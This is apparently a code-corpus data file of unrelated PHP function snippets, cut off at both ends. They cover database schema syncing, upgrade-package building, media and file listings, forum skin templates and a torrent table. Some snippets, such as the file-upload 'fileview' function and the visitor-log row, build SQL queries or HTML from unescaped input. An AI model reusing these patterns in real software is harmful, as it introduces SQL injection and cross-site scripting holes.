'$TB_PRE\".\"\\_%'\";\n\t\n\t$res=mysqli_query($conn,$sql);\n\tif($res) {\n\t\twhile($rs=mysqli_fetch_array($res)){\t\t\n\t\t // check if the table is already in the {$DTB_PRE}vwmldbm_tb, then the table can be skipped.\n\t\t\t$sql=\"select no from {$DTB_PRE}vwmldbm_tb where DB='$db_no' and name = '{$rs[0]}'\";\n\t\t\t$res_check=mysqli_query($conn,$sql);\n\t\t\tif($res_check) {\n\t\t\t\t$rs_check=mysqli_fetch_array($res_check);\n\t\t\t\tinsert_fields($db_name,$rs[0],'NO_SILENT',$inst); // check and insert all the fields of a new table or any newly added field of the table.\n\t\t\t\tdelete_fields($db_name,$rs[0],'NO_SILENT',$inst); // check and delete unnecessary fields of a table.\n\t\t\t}\n\t\t // end of check \n\n\t\t\t$tb_type=type_of_table($DB,$TB_PRE,$rs[0]); // type of the table\n\t\t\t\n\t\t // update or newly insert sql_txt\n\t\t\t$sql=\"SHOW CREATE TABLE $db_name.$rs[0]\"; \t// table creation SQL\t\t\n\t\t\t$res1=mysqli_query($conn,$sql);\n\t\t\tif($res1) $rs1=mysqli_fetch_array($res1);\n\t\t\t\n\t\t\tif($rs_check['no']!='') // update sql_txt\n\t\t\t\t$sql=\"update {$DTB_PRE}vwmldbm_tb set sql_txt=\\\"{$rs1[1]}\\\", type='$tb_type' where DB='$db_no' and name='{$rs[0]}'\";\t\n\t\t\telse // newly insert\n\t\t\t\t$sql=\"insert into {$DTB_PRE}vwmldbm_tb (DB,name,type,sql_txt) values($db_no,\\\"{$rs[0]}\\\",'$tb_type',\\\"{$rs1[1]}\\\")\";\t\n\t\t\tmysqli_query($conn,$sql);\n\t\t}\n\t}\t\n}", "function make_upgrade_get_path($from_version,$to_version)\n{\n\t$err=NULL;\n\n\tif (str_replace('.','',$from_version)=='')\n\t{\n\t\t$err='Source version not entered correctly.';\n\t\treturn array(NULL,$err);\n\t}\n\n\tif ($from_version=='..') warn_exit(do_lang_tempcode('NO_PARAMETER_SENT','from version'));\n\tif ($to_version=='..') warn_exit(do_lang_tempcode('NO_PARAMETER_SENT','from version'));\n\t\n\tif ($from_version==$to_version)\n\t{\n\t\t$err='Put in the version number you are upgrading <strong>from</strong>, not to. Then a specialised upgrade file will be generated for you.';\n\t\treturn array(NULL,$err);\n\t}\n\n\tif (function_exists('set_time_limit')) @set_time_limit(0);\n\trequire_code('tar');\n\trequire_code('m_zip');\n\n\t// Find out path/filenames for the upgrade file we're making\n\t$filename=$from_version.'-'.$to_version.'.tar';\n\t$tar_path=dirname(__FILE__).'/tars/'.$filename;\n\t$wip_path=dirname(__FILE__).'/tar_build/'.$filename;\n\n\t// Find out paths for the directories holding untarred full manual installers\n\t$old_base_path=dirname(__FILE__).'/full/'.$from_version;\n\t$new_base_path=dirname(__FILE__).'/full/'.$to_version;\n\n\t// Find corresponding download rows\n\t$old_download_row=($from_version=='')?NULL:find_download($from_version);\n\tif (is_null($old_download_row))\n\t{\n\t\t$err=escape_html('Version '.$from_version.' is not recognised');\n\t\treturn array(NULL,$err);\n\t}\n\t$new_download_row=find_download($to_version);\n\tif (is_null($new_download_row)) return array(NULL,escape_html('Could not find version '.$to_version.' in the download database'));\n\t$mtime=$new_download_row['add_date'];\n\tif (!is_null($new_download_row['edit_date'])) $mtime=$new_download_row['edit_date'];\n\n\t// Exists already\n\tif (file_exists($tar_path))\n\t{\n\t\tif (filemtime($tar_path)>$mtime)\n\t\t{\n\t\t\treturn array($tar_path,$err);\n\t\t} else // Outdated\n\t\t{\n\t\t\tunlink($tar_path);\n\t\t}\n\t}\n\t\n\t// Stop a race-condition\n\tif ((file_exists($old_base_path)) || (file_exists($new_base_path)) || (file_exists($wip_path)))\n\t{\n\t\treturn array(NULL,'An upgrade is currently being generated by another user. Please try again in a minute.');\n\t}\n\n\t// Unzip old\n\tif (!is_null($old_download_row))\n\t{\n\t\t@mkdir($old_base_path,0777);\n\t\tif (!url_is_local($old_download_row['url'])) return array(NULL,escape_html('Non-local URL found ('.$old_download_row['url'].'). Unexpected.'));\n\t\trecursive_unzip(get_file_base().'/'.rawurldecode($old_download_row['url']),$old_base_path);\n\t}\n\n\t// Unzip new\n\t@mkdir($new_base_path,0777);\n\tif (!url_is_local($new_download_row['url'])) return array(NULL,escape_html('Non-local URL found ('.$new_download_row['url'].'). Unexpected.'));\n\trecursive_unzip(get_file_base().'/'.rawurldecode($new_download_row['url']),$new_base_path);\n\n\t// Make actual upgrader\n\trequire_code('files2');\n\t@mkdir($wip_path,0777);\n\tmake_upgrader_do_dir($wip_path,$new_base_path,$old_base_path);\n\t@copy($old_base_path.'/data/files.dat',$wip_path.'/data/files_previous.dat');\n\t$log_file=fopen(dirname(__FILE__).'/tarring.log','wt');\n\t$tar_handle=tar_open($tar_path.'.new','wb');\n\ttar_add_folder($tar_handle,$log_file,$wip_path,NULL,'',NULL,NULL,false,true);\n\ttar_close($tar_handle);\n\tfclose($log_file);\n\t@rename($tar_path.'.new',$tar_path);\n\n\t// Clean up\t\n\trequire_code('files2');\n\t@deldir_contents($new_base_path);\n\t@deldir_contents($old_base_path);\n\t@deldir_contents($wip_path);\n\t@rmdir($new_base_path);\n\t@rmdir($old_base_path);\n\t@rmdir($wip_path);\n\n\treturn array($tar_path,$err);\n}", "protected function actionList() {\n $strReturn = \"\";\n\n //Determin the prev_id to load\n if(!validateSystemid($this->getSystemid()) || !$this->checkIfRequestedIdIsInElementsTree()) {\n $this->setSystemid($this->arrElementData[\"repo_id\"]);\n }\n\n $bitPageview = false;\n //load using the pageview?\n $arrPagerContent = array();\n if($this->arrElementData[\"repo_elementsperpage\"] > 0) {\n $bitPageview = true;\n $objArraySectionIterator = new class_array_section_iterator($this->getNumberOfEntriesOnLevel());\n $objArraySectionIterator->setIntElementsPerPage($this->arrElementData[\"repo_elementsperpage\"]);\n $objArraySectionIterator->setPageNumber($this->getParam(\"pv\"));\n $objArraySectionIterator->setArraySection($this->getArrFiles($objArraySectionIterator->calculateStartPos(), $objArraySectionIterator->calculateEndPos()));\n\n $arrPagerContent = $this->objToolkit->simplePager(\n $objArraySectionIterator,\n $this->getLang(\"commons_next\"),\n $this->getLang(\"commons_back\"),\n $this->getParam(\"action\"),\n $this->getPagename(),\n \"&systemid=\".$this->getSystemid()\n );\n $arrFiles = $arrPagerContent[\"arrData\"];\n }\n else {\n //Load all Images & Folder\n $arrFiles = $this->getArrFiles(null, null);\n }\n\n //Loop over every item and collect them\n $arrWrappingTemplate = array();\n $arrWrappingTemplate[\"systemid\"] = $this->arrElementData[\"content_id\"];\n\n $arrWrappingTemplate[\"folderlist\"] = \"\";\n $arrWrappingTemplate[\"filelist\"] = \"\";\n\n if(count($arrFiles) > 0) {\n $intFileCounter = 0;\n\n $arrRemainingFiles = array();\n\n //calc number of images outside the loop\n $intNrOfFilesPerRow = $this->getFilesPerRow($this->arrElementData[\"repo_template\"]);\n\n foreach($arrFiles as $objOneFile) {\n //Check rights and the existance of placeholders\n if($intNrOfFilesPerRow > 0 && $objOneFile->rightView()) {\n //Folder or file?\n\n //file\n if($objOneFile->getIntType() == class_module_mediamanager_file::$INT_TYPE_FILE) {\n $arrFileTemplate = array();\n\n //check, if it's an image\n $strSuffix = uniStrtolower(uniSubstr($objOneFile->getStrFilename(), uniStrrpos($objOneFile->getStrFilename(), \".\")));\n if(in_array($strSuffix, $this->arrImageTypes) && isset($this->arrElementData[\"gallery_maxh_d\"]) && isset($this->arrElementData[\"gallery_maxw_d\"])) {\n //provide image placeholders\n $arrFileTemplate[\"image_detail_src\"] = $this->getImageUrl(\n $objOneFile->getStrFilename(), \n $this->arrElementData[\"gallery_maxh_d\"], \n $this->arrElementData[\"gallery_maxw_d\"], \n $this->arrElementData[\"gallery_text\"],\n $this->arrElementData[\"gallery_overlay\"],\n $objOneFile->getSystemid(),\n $this->arrElementData[\"content_id\"]\n );\n }\n\n $arrFileTemplate[\"file_id\"] = $objOneFile->getStrSystemid();\n $arrFileTemplate[\"file_name\"] = $objOneFile->getStrName();\n $arrFileTemplate[\"file_filename\"] = $objOneFile->getStrFilename();\n $arrFileTemplate[\"file_subtitle\"] = $objOneFile->getStrSubtitle();\n $arrFileTemplate[\"file_description\"] = $objOneFile->getStrDescription();\n $arrFileTemplate[\"file_size\"] = bytesToString($objOneFile->getIntFileSize());\n $arrFileTemplate[\"file_hits\"] = $objOneFile->getIntHits();\n $arrFileTemplate[\"file_lmtime\"] = timeToString(filemtime(_realpath_.$objOneFile->getStrFilename()));\n if(validateSystemid($objOneFile->getOwnerId())) {\n $objUser = new class_module_user_user($objOneFile->getOwnerId());\n $arrFileTemplate[\"file_owner\"] = $objUser->getStrUsername();\n }\n\n if($objOneFile->rightRight2()) {\n $arrFileTemplate[\"file_link_href\"] = _webpath_.\"/download.php?systemid=\".$objOneFile->getSystemid();\n $arrFileTemplate[\"file_link\"] = \"<a href=\\\"\"._webpath_.\"/download.php?systemid=\".$objOneFile->getSystemid().\"\\\">\".$this->getLang(\"download_link\").\"</a>\";\n }\n $this->fileListTemplateHook($objOneFile, $arrFileTemplate);\n\n //ratings available?\n if($objOneFile->getFloatRating() !== null) {\n /** @var $objRating class_module_rating_portal */\n $objRating = class_module_system_module::getModuleByName(\"rating\")->getPortalInstanceOfConcreteModule();\n $arrFileTemplate[\"file_rating\"] = $objRating->buildRatingBar(\n $objOneFile->getFloatRating(),\n $objOneFile->getIntRatingHits(),\n $objOneFile->getSystemid(),\n $objOneFile->isRateableByUser(),\n $objOneFile->rightRight3()\n );\n }\n\n $arrFileTemplate[\"file_details_href\"] = getLinkPortalHref($this->getPagename(), \"\", \"fileDetails\", \"\", $objOneFile->getSystemid(), $this->getStrPortalLanguage(), $objOneFile->getStrName());\n\n //render the single file\n $strTemplateID = $this->objTemplate->readTemplate(\"/module_mediamanager/\".$this->arrElementData[\"repo_template\"], \"filelist_file\");\n $strCurrentImage = $this->objTemplate->fillTemplate($arrFileTemplate, $strTemplateID);\n $arrRemainingFiles[\"file_\".$intFileCounter % $intNrOfFilesPerRow] = $strCurrentImage;\n\n //already rendered enough files?\n if(count($arrRemainingFiles) == $intNrOfFilesPerRow) {\n $strTemplateID = $this->objTemplate->readTemplate(\"/module_mediamanager/\".$this->arrElementData[\"repo_template\"], \"filelist\");\n $arrWrappingTemplate[\"filelist\"] .= $this->objTemplate->fillTemplate($arrRemainingFiles, $strTemplateID);\n $arrRemainingFiles = array();\n }\n\n $intFileCounter++;\n\n }\n\n //Folder\n if($objOneFile->getIntType() == class_module_mediamanager_file::$INT_TYPE_FOLDER) {\n $arrFolder = array();\n $arrFolder[\"folder_id\"] = $objOneFile->getSystemid();\n $arrFolder[\"folder_name\"] = $objOneFile->getStrName();\n $arrFolder[\"folder_description\"] = $objOneFile->getStrDescription();\n $arrFolder[\"folder_subtitle\"] = $objOneFile->getStrSubtitle();\n $arrFolder[\"folder_href\"] = getLinkPortalHref($this->getPagename(), \"\", \"mediaFolder\", \"\", $objOneFile->getSystemid(), \"\", $objOneFile->getStrName());\n\n $objFirstFile = $this->getFirstFileInFolder($objOneFile->getSystemid());\n if($objFirstFile != null) {\n $strSuffix = uniStrtolower(uniSubstr($objFirstFile->getStrFilename(), uniStrrpos($objFirstFile->getStrFilename(), \".\")));\n if(in_array($strSuffix, array(\".jpg\", \".jpeg\", \".gif\", \".png\"))) {\n //provide image placeholders\n $arrFolder[\"folder_preview_image_src\"] = $objFirstFile->getStrFilename();\n }\n }\n\n $strTemplateFolderID = $this->objTemplate->readTemplate(\"/module_mediamanager/\".$this->arrElementData[\"repo_template\"], \"folderlist\");\n $strTemplateFolderPreviewID = $this->objTemplate->readTemplate(\"/module_mediamanager/\".$this->arrElementData[\"repo_template\"], \"folderlist_preview\");\n\n $arrWrappingTemplate[\"folderlist\"] .= $this->objTemplate->fillTemplate(\n $arrFolder, \n (isset($arrFolder[\"folder_preview_image_src\"]) && $this->objTemplate->isValidTemplate($strTemplateFolderPreviewID) ? $strTemplateFolderPreviewID : $strTemplateFolderID),\n false\n );\n\n }\n }\n }\n //Print remaining files\n if(count($arrRemainingFiles) > 0) {\n $strTemplateID = $this->objTemplate->readTemplate(\"/module_mediamanager/\".$this->arrElementData[\"repo_template\"], \"filelist\");\n $arrWrappingTemplate[\"filelist\"] .= $this->objTemplate->fillTemplate($arrRemainingFiles, $strTemplateID, false);\n }\n }\n else\n $strReturn = $this->getLang(\"commons_list_empty\");\n\n //and load the sourrounding template\n if($bitPageview) {\n $arrWrappingTemplate[\"link_forward\"] = $arrPagerContent[\"strForward\"];\n $arrWrappingTemplate[\"link_pages\"] = $arrPagerContent[\"strPages\"];\n $arrWrappingTemplate[\"link_back\"] = $arrPagerContent[\"strBack\"];\n }\n $strTemplateID = $this->objTemplate->readTemplate(\"/module_mediamanager/\".$this->arrElementData[\"repo_template\"], \"list\");\n $arrWrappingTemplate[\"pathnavigation\"] = $this->generatePathnavi();\n $strReturn .= $this->fillTemplate($arrWrappingTemplate, $strTemplateID);\n\n $strReturn = $this->addPortaleditorCode($strReturn);\n return $strReturn;\n }", "function build_visitor_table_row_html($dateVisited = \"22/10/14 20:58:56\", $os = \"Linux\", \n\t$browserName = \"Firefox\", $browserVersion = 5,$domainName = \"ycyrffgroupie.co.uk\", \n\t$ipAddress = \"127.0.0.1\", $refererPage = \"none\", $requestPage = \"none\", $user = \"none\", \n\t$filename = \"none\", $phpSelf = \"none\"){\n\t\t\n\t\t$output = '';\n\t\t\n\t\t$output .='\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td style=\"border: 1px solid #FFFFFF; width: 11%; text-align: center;\">\n\t\t\t\t\t\t\t\t<font color=\"ffd700\">'.date('d/m/y H:i:s', strtotime($dateVisited)).'</font>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td style=\"border: 1px solid #FFFFFF; width: 11%; text-align: center;\">\n\t\t\t\t\t\t\t\t<font color=\"ffd700\">'.$ipAddress.'</font>\n\t\t\t\t\t\t\t</td> \n\t\t\t\t\t\t\t<td style=\"border: 1px solid #FFFFFF; width: 7%; text-align: center;\">\n\t\t\t\t\t\t\t\t<font color=\"ffd700\">'.$os.'</font>\n\t\t\t\t\t\t\t</td> \n\t\t\t\t\t\t\t<td style=\"border: 1px solid #FFFFFF; width: 7%; text-align: center;\">\n\t\t\t\t\t\t\t\t<font color=\"ffd700\">'.$browserName.'</font>\n\t\t\t\t\t\t\t</td> \n\t\t\t\t\t\t\t<td style=\"border: 1px solid #FFFFFF; width: 8%; text-align: center;\">\n\t\t\t\t\t\t\t\t<font color=\"ffd700\">'.$browserVersion.'</font>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td style=\"border: 1px solid #FFFFFF; width: 15%; word-wrap: break-word; text-align: center;\">\n\t\t\t\t\t\t\t\t'.($refererPage != 'none' ? '<a style=\"color: #ffd700;\" href=\"'.$refererPage.'\">'.$refererPage.'</a>' :'<font color=\"ffd700\">'.$refererPage.'</font>').'\n\t\t\t\t\t\t\t</td> \n\t\t\t\t\t\t\t<td style=\"border: 1px solid #FFFFFF; width: 15%; word-wrap: break-word; text-align: center;\">\n\t\t\t\t\t\t\t\t<a style=\"color: #ffd700;\" href=\"http://'.$domainName.$requestPage.'\">'.$domainName.$requestPage.'</a>\n\t\t\t\t\t\t\t</td> \n\t\t\t\t\t\t</tr>';\n\t\t\n\t\treturn $output ;\n\t\t\n\t}", "function fileview($status)\n{\n\t/*\n\tbring in global variables ($q is the appiontment id, $sid is the id of the student\n\t$hint is the output variable that has already been created by the calling page, the file upload will be appended\n\tto that variable\n\t*/\n\tglobal $q,$hint,$sid;\n\t//set part1 to be blank\n\t$part1=\"\";\n\t//set part 2 to be blank\n\t$part2=\"\";\n\t\n\t//if the appointment is still open, create the form for uploading files and attach it to $hint\n\tif ($status==\"open\")\n\t{\n\t\t$hint=$hint.'\n\t\t\t<p >File Upload:</p>\n\t\t\t<form action=\"add_file.php\" method=\"post\" enctype=\"multipart/form-data\">\n\t\t\t<input type=\"file\" name=\"uploaded_file\"><br>\n\t\t\t<input type=\"submit\" value=\"Upload file\">\n\t\t\t<input type=\"hidden\" name=\"apptid\" id=\"apptid\" value=\"'.$q.'\"/>\n\t\t\t<input type=\"hidden\" name=\"studentid\" id=\"studentid\" value=\"'.$sid.'\"/>\n\t\t\t</form>\n\t\t\t<br/><br/>';\n\t}\n\t//create title for uploaded files and attach to $hint\n\t$hint=$hint.'<p><u>Uploaded Files:</u><br/>';\n\t// Query for a list of all existing files and format the date\n\t$sql = \"select *,Date_FORMAT(created,'%Y-%d-%m %h:%m %p') as created from file where apptid = \".$q;\n\t//run the query\n\t$result = @mysql_query($sql);\n\t// Check if it was successfull\n\tif (@mysql_num_rows($result) !=0) \n\t{//open php rows if\n \t\t// Print the top of a table\n $part1= '<table>\n <tr>\n\t\t\t\t\t<td></td>\n <td><b>Name</b></td>\n <td><b>Size (bytes)</b></td>\n <td><b>Created</b></td>\n <td><b>&nbsp;</b></td>\n </tr>';\n \n\t\twhile ($row = @mysql_fetch_assoc($result))\n\t\t{//open php while\n\t\t\n\t\t\t//pick icon\n\t\t\t//set $mime to be the mimetype of the file in the db\n\t\t\t$mime=$row['mime'];\n\t\t\t//check to see if the uploaded files matches the description of the known file types\n\t\t\t$position1 = substr_count($mime, 'word');\n\t\t\t$position2= substr_count($mime, 'text');\n\t\t\t$position3 = substr_count($mime, 'pdf');\n\t\t\t$position4 = substr_count($mime, 'presentation');\n\t\t\t$position5 = substr_count($mime, 'spre');\n\t\t\tif ($position1 != 0)\n\t\t\t{\n\t\t\t\t$iconLocation = \"./icons/doc.bmp\";\n\t\t\t\t$doctype = \"Word Document\";\n\t\t\t}\n\t\t\telse\n\t\t\tif ($position2 != 0)\n\t\t\t{\n\t\t\t\t$iconLocation = \"./icons/text.bmp\";\n\t\t\t\t$doctype = \"Text Document\";\n\t\t\t}\n\t\t\telse\n\t\t\tif ($position3 != 0)\n\t\t\t{\n\t\t\t\t$iconLocation = \"./icons/pdf.bmp\";\n\t\t\t\t$doctype = \"PDF\";\n\t\t\t}\n\t\t\telse\n\t\t\tif ($position4 != 0)\n\t\t\t{\n\t\t\t\t$iconLocation = \"./icons/ppt.bmp\";\n\t\t\t\t$doctype = \"PowerPoint Document\";\n\t\t\t}\n\t\t\telse\n\t\t\tif ($position5 != 0)\n\t\t\t{\n\t\t\t\t$iconLocation = \"./icons/xls.bmp\";\n\t\t\t\t$doctype = \"Excel Document\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$iconLocation = \"./icons/file.bmp\";\n\t\t\t\t$doctype = \"Document\";\n\t\t\t}\n\t\t\t//once icon is determined, create the link and output file info in the table, do for each file found during loop\n\t\t\t$part2=$part2. \"\n <tr>\n\t\t\t\t\t<td align='right'><a href='get_file.php?id={$row['id']}'><img src='\".$iconLocation.\"' title='\".$doctype.\"' width='25' height='25' /></a></td>\n <td align='left'>{$row['name']}</td>\n <td>{$row['size']}</td>\n <td>{$row['created']}</td>\n <td><a href='get_file.php?id={$row['id']}'>Download</a></td>\n\t\t\t\t\t\";\n\t\t\tif($status == \"open\")\n\t\t\t{\n\t\t\t\t//if the appointment is still open, give link for deleting file, no file deleting after appointment is closed\n\t\t\t\t$part2=$part2.\"<td><a href='delete_file.php?id={$row['id']}&student=\".$sid.\"'>Delete</a></td>\";\n\t\t\t}\n $part2=$part2.\"</tr>\";\n\t\t}//close php while\n\t\t// Close table\n $part3='</table>';\n\t\t//add all parts to $hint\n\t\t$hint=$hint.$part1.$part2.$part3;\n\t}//close php rows if\n\t//if no files have been uploaded\n\telse\n\t{\t\n\t\t$hint=$hint.\"No uploaded files found for appointment number \".$q;\n\t}\n\t\n}", "function execute()\n {\n\tplugin::execute();\n\n $smarty= get_smarty();\n $display= \"\";\n\n if((isset($_POST['StartImport']))&&(isset($_FILES['importFile']))){\n $filename = gosa_file_name($_FILES['importFile']['tmp_name']);\n $this->LogoffData = file_get_contents($filename);\n @unlink($filename);\n }\n\n if(isset($_GET['getLogoffData'])){\n send_binary_content($this->LogoffData, $this->real_LogoffName);\n }\n\n /* Create download button*/\n if($this->dn != \"new\" && $this->LogoffData != \"\"){\n $smarty->assign(\"DownMe\",\"<a href='?plug=\".$_GET['plug'].\"&getLogoffData'>\n <img src='images/save.png' alt='\"._(\"Download\").\"' title='\"._(\"Download\").\"' border=0 class='center'>\n </a>\");\n }else{\n $smarty->assign(\"DownMe\",\"\");\n }\n\n foreach($this->attributes as $attr){\n $smarty->assign($attr,$this->$attr);\n if($this->$attr){\n $smarty->assign($attr.\"CHK\",\" checked \");\n }else{\n $smarty->assign($attr.\"CHK\",\"\");\n }\n }\n $prios=array(1,2,3,4,5,6,7,8,9,10);\n $smarty->assign(\"LogoffPrioritys\",$prios);\n $smarty->assign(\"LogoffPriorityKeys\",$prios);\n\n if(!$this->nameIsEditable){\n $smarty->assign(\"LogoffNameACL\",\" disabled \");\n }else{\n $smarty->assign(\"LogoffNameACL\",\"\");\n }\n \n\n $display.= $smarty->fetch(get_template_path('logoffManagement.tpl', TRUE,dirname(__FILE__)));\n return($display);\n }", "public function getHtml()\n {\n $header = new TableHeader($this);\n $header->addText('Dokument');\n $header->addText('Ersteller');\n $header->addEmpty();\n\n\n $fileReader = new FileReader();\n\n $contentLogModel = new ContentLogModel();\n $fileReader->addFieldByModel($contentLogModel);\n\n $userModel = new UserModel();\n $fileReader->addFieldByModel($userModel);\n\n $join = new ModelJoin($fileReader);\n $join->externalModel = $contentLogModel;\n $join->type = $fileReader->model->id;\n $join->externalType = $contentLogModel->dataId;\n\n $join = new ModelJoin($fileReader);\n $join->externalModel = $userModel;\n $join->type = $contentLogModel->userCreatedId;;\n $join->externalType = $userModel->id;\n\n $fileReader->filter->andEqual($contentLogModel->parentId, $this->dataId);\n $fileReader->filter->andEqual($contentLogModel->contentTypeId, (new FileTemplateStatus())->contentId);\n\n\n foreach ($fileReader->getData() as $fileRow) {\n\n $row = new TableRow($this);\n\n if (!$fileRow->delete) {\n $row->addHyperlink($fileRow->file->getUrl(), $fileRow->file->getFilename());\n\n } else {\n\n $stroke = new Strike($row);\n $stroke->content = $fileRow->file->getFilename();\n\n }\n // show image bzw. detail ansicht\n\n $userDisplay = $fileRow->getModelValue($userModel->displayName);\n $dateTimeCreated = new DateTime($fileRow->getModelValue($contentLogModel->dateTimeCreated));\n\n $row->addText($userDisplay . ' ' . $dateTimeCreated->getShortDateTimeLeadingZeroFormat());\n\n if (!$fileRow->delete) {\n $site = clone(FileDeleteSite::$site);\n $site->addParameter(new FileParameter($fileRow->id));\n $site->addParameter(new DataIdParameter($this->dataId));\n $row->addIconSite($site);\n } else {\n $row->addEmpty();\n }\n\n\n }\n\n return parent::getHtml();\n\n }", "function skin_diff_main_row( $data ) {\n\n$IPBHTML = \"\";\n//--starthtml--//\n\n$IPBHTML .= <<<EOF\n<tr>\n <td class='tablerow1'> <strong>{$data['diff_session_title']}</strong></td>\n <td class='tablerow1' width='5%' nowrap='nowrap' align='center'>{$data['_date']}</td>\n <td class='tablerow1' width='5%'><img id=\"menu{$data['diff_session_id']}\" src='{$this->ipsclass->skin_acp_url}/images/filebrowser_action.gif' border='0' alt='Опции' class='ipd' /></td>\n</tr>\n<script type=\"text/javascript\">\n menu_build_menu(\n \"menu{$data['diff_session_id']}\",\n new Array(\n\t\t\timg_view + \" <a href='{$this->ipsclass->base_url}&amp;{$this->ipsclass->form_code}&amp;code=skin_diff_view&amp;diff_session_id={$data['diff_session_id']}'>Просмотр результатов сравнения</a>\",\n\t\t\timg_delete + \" <a href='#' onclick=\\\"checkdelete('{$this->ipsclass->form_code}&code=skin_diff_remove&diff_session_id={$data['diff_session_id']}')\\\">Удалить результаты сравнения</a>\",\n\t\t\timg_export + \" <a href='{$this->ipsclass->base_url}&amp;{$this->ipsclass->form_code}&amp;code=skin_diff_export&amp;diff_session_id={$data['diff_session_id']}'>Создать HTML экспорт</a>\"\n \t\t ) );\n </script>\nEOF;\n\n//--endhtml--//\nreturn $IPBHTML;\n}", "public function page_check_version()\n\t{\n\t\tif (!$content = Http::get_file_on_server(FSB_REQUEST_SERVER, FSB_REQUEST_VERSION, 10))\n\t\t{\n\t\t\tDisplay::message('adm_unable_check_version');\n\t\t}\n\n\t\t$content = explode(\"\\n\", $content);\n\n\t\tif (count($content) < 3)\n\t\t{\n\t\t\tDisplay::message('adm_unable_check_version');\n\t\t}\n\n\t\tif (strpos('http', $content[2]) === false)\n\t\t{\n\t\t\tarray_shift($content);\n\t\t}\n\n\t\t@list($last_version, $url, $level) = $content;\n\t\t$last_version = trim($last_version);\n\n\t\t// Aucune redirection\n\t\tFsb::$session->data['u_activate_redirection'] = 2;\n\n\t\tif (!is_last_version(Fsb::$cfg->get('fsb_version'), $last_version))\n\t\t{\n\t\t\tDisplay::message(sprintf(Fsb::$session->lang('adm_old_version'), $last_version, Fsb::$cfg->get('fsb_version'), $url, $url, Fsb::$session->lang('adm_version_' . trim($level))) . '<br /><br />' . sprintf(Fsb::$session->lang('adm_click_view_newer'), $url));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tDisplay::message('adm_version_ok', 'index.' . PHPEXT, 'index_adm');\n\t\t}\n\t}", "function updateFileDescriptions() {\n try {\n $project_objects_table = TABLE_PREFIX . 'project_objects';\n $content_backup_table = TABLE_PREFIX . 'content_backup';\n\n DB::beginWork('Updating file descriptions @ ' . __CLASS__);\n\n $rows = DB::execute(\"SELECT id, body FROM $project_objects_table WHERE type = 'File' AND body != '' AND body IS NOT NULL\");\n if($rows) {\n foreach($rows as $row) {\n DB::execute(\"INSERT INTO $content_backup_table (parent_type, parent_id, body) VALUES ('File', ?, ?)\", $row['id'], $row['body']);\n DB::execute(\"UPDATE $project_objects_table SET body = ? WHERE id = '$row[id]'\", $this->updateHtmlContent($row['body']));\n } // foreach\n } // if\n\n DB::commit('File descriptions updated @ ' . __CLASS__);\n } catch(Exception $e) {\n DB::rollback('Failed to upgrade file descriptions @ ' . __CLASS__);\n return $e->getMessage();\n } // try\n\n return true;\n }", "function skin_diff_main_overview($content) {\n\n$IPBHTML = \"\";\n//--starthtml--//\n\n$IPBHTML .= <<<EOF\n<script type=\"text/javascript\" src='{$this->ipsclass->skin_acp_url}/acp_template.js'></script>\n<div class='tableborder'>\n <div class='tableheaderalt'>\n <table cellpadding='0' cellspacing='0' border='0' width='100%'>\n <tr>\n <td align='left' width='95%' style='font-size:12px; vertical-align:middle;font-weight:bold; color:#FFF;'>Отчет сравнения стилей</td>\n </tr>\n</table>\n </div>\n <table cellpadding='0' cellspacing='0' width='100%'>\n <tr>\n <td class='tablesubheader' width='90%'><strong>Название</strong></td>\n <td class='tablesubheader' width='5%'>Создано</a>\n <td class='tablesubheader' width='5%'>&nbsp;</a>\n </tr>\n $content\n </table>\n <div align='right' class='tablefooter'>&nbsp;</div>\n</div>\n<br />\n<form action='{$this->ipsclass->base_url}&amp;{$this->ipsclass->form_code}&amp;code=skin_diff' enctype='multipart/form-data' method='POST'>\n<input type='hidden' name='_admin_auth_key' value='{$this->ipsclass->_admin_auth_key}' />\n<div class='tableborder'>\n <div class='tableheaderalt'>Создать новый отчет сравнения стилей</div>\n <table cellpadding='0' cellspacing='0' border='0' width='100%'>\n <tr>\n <td class='tablerow1'><strong>Введите название</strong><div class='desctext'>Это название будет использовано в списке выше, когда сравнение будет завершено</div></td>\n <td class='tablerow2'><input class='textinput' type='text' size='30' name='diff_session_title' /></td>\n </tr>\n <tr>\n <td class='tablerow1'><strong>Пропускать все новые/ошибочные шаблоны?</strong><div class='desctext'>Если вы сравниваете старый ipb_templates.xml из более старого IPB, вы можете отключить этот пункт. Если вы сравниваете с XML файлом из измененного стиля, вы должны включить этот пункт.</div></td>\n <td class='tablerow2'><input class='textinput' type='checkbox' value='1' name='diff_session_ignore_missing' /></td>\n </tr>\n <tr>\n <td class='tablerow1'><strong>Выберите корректный файл «ipb_templates.xml».</strong><div class='desctext'>Будет произведено сравнение с HTML шаблонами главного стиля</div></td>\n <td class='tablerow2'><input class='textinput' type='file' size='30' name='FILE_UPLOAD' /></td>\n </tr>\n </table>\n <div align='center' class='tablefooter'><input type='submit' class='realbutton' value='Импортировать' /></div>\n</div>\n</form>\nEOF;\n\n//--endhtml--//\nreturn $IPBHTML;\n}", "function torrenttable_of($res, $variant = \"index\") {\n\t\tglobal $pic_base_url, $CURUSER, $SITENAME, $tracker_lang;\n\n?>\n<style>\n.effect {FILTER: alpha(opacity=50); -moz-opacity: .50; opacity: .50;}\n</style>\n<?\n\n$res_cat=new MySQLCache(\"SELECT id, name, image FROM categories\", 24*7200, \"browse_cat_array.txt\"); // 24 часа\nwhile ($arr_cat=$res_cat->fetch_assoc()){\n$cat_sql[$arr_cat[\"id\"]] = array(\"name\"=>$arr_cat[\"name\"], \"image\"=>$arr_cat[\"image\"]);\n}\n\n$checkin=array();\n\n$res_t1 = sql_query(\"SELECT checkid FROM checkcomm WHERE userid = \".sqlesc($CURUSER[\"id\"]).\" AND offer = 1\") or sqlerr(__FILE__, __LINE__);\n\nwhile ($arr_c1 = mysql_fetch_assoc($res_t1)){\n$checkin[$arr_c1[\"checkid\"]] = 1;\n}\n///print_r($checkin);\n\n\nprint(\"<tr>\\n\");\n\n$count_get = 0;\n$oldlink=\"\";\nforeach ($_GET as $get_name => $get_value) {\n\n$get_name = mysql_escape_string(strip_tags(str_replace(array(\"\\\"\",\"'\"),array(\"\",\"\"),$get_name)));\n\n$get_value = mysql_escape_string(strip_tags(str_replace(array(\"\\\"\",\"'\"),array(\"\",\"\"),$get_value)));\n\nif ($get_name != \"sort\" && $get_name != \"type\") {\nif ($count_get > 0) 